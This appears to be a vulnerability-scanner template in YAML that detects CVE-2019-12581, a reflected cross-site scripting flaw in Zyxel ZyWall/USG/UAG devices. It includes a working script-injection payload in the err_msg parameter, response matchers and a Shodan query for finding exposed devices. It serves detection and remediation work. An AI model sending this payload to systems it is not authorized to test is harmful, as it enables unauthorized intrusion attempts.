55 lines
1.9 KiB
YAML
55 lines
1.9 KiB
YAML
id: CVE-2019-12581
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info:
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name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
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author: n-thumann
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severity: medium
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description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
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remediation: |
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Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
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reference:
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- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
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- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
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- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
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- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
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- https://www.zyxel.com/us/en/
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-12581
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cwe-id: CWE-79
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epss-score: 0.00642
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epss-percentile: 0.76933
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cpe: cpe:2.3:o:zyxel:uag2100_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: zyxel
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product: uag2100_firmware
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shodan-query: http.title:"ZyWall"
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tags: cve,cve2019,zyxel,zywall,xss
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http:
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- method: GET
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path:
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- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<script>alert(document.domain);</script>"
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- "Please contact with administrator."
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100aa0b563a5d4f909b405943c78f709b8cc0dc094580fd5dda6e3c027c8d953cdd02205846b87225ba3861ce456091cf1a9e801d4479d1629bb5e84feb050f5a1c3575:922c64590222798bb761d5b6d8e72950
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